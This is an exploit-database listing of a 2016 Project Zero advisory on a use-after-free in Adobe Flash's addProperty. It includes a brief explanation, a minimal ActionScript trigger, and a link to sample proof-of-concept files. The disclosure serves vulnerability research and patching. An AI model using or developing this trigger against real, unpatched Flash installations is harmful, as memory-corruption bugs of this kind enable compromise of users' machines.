Adobe Flash – addProperty Use-After-Free

  • 作者: Google Security Research
    日期: 2016-05-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39830/
  • Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=801
    
    There is a use-after-free in addProperty. If a property is added to a MovieClip object that already has a watch defined, and the watch deleted the MovieClip, it is used after it is freed.
    
    A minimal PoC follows:
    
    var t = this.createEmptyMovieClip( "t", 1);
    t.watch("a", func);
    t.addProperty("a", func, func);
    
    function func(){
    	
    	trace("a");
    	
    	}
    
    A sample fla and swf are attached.
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39830.zip